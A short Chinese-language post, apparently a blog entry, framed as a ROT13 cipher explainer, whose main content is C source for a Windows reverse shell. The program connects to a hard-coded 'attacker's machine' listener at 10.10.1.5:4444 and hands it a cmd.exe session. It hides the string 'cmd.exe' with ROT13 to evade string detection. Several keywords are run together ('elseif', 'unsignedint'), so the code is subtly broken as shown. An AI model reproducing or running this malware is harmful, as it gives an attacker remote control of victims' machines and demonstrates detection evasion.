【ROT13算法】简单移位和替换

字母替换，旋转13个位置，字母共26个，因此加密算法也是解密算法

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

void rot13Transform(char *str) {
while (*str) {
    if ((*str >= 'A' && *str <= 'Z')) {
      *str = ((*str - 'A' + 13) % 26) + 'A';
    } elseif ((*str >= 'a' && *str <= 'z')) {
      *str = ((*str - 'a' + 13) % 26) + 'a';
    }
    str++;
  }
}

void rot13Encrypt(char *str) {
rot13Transform(str);
}

void rot13Decrypt(char *str) {
// ROT13 encryption and decryption are the same
rot13Transform(str);
}

int main(int argc, char* argv[]) {
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;

// String to be decrypted via ROT13
char command[] = "pzq.rkr";

// Decrypt the string using ROT13
rot13Decrypt(command);

  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}

cmd.exe变成pzq.rkr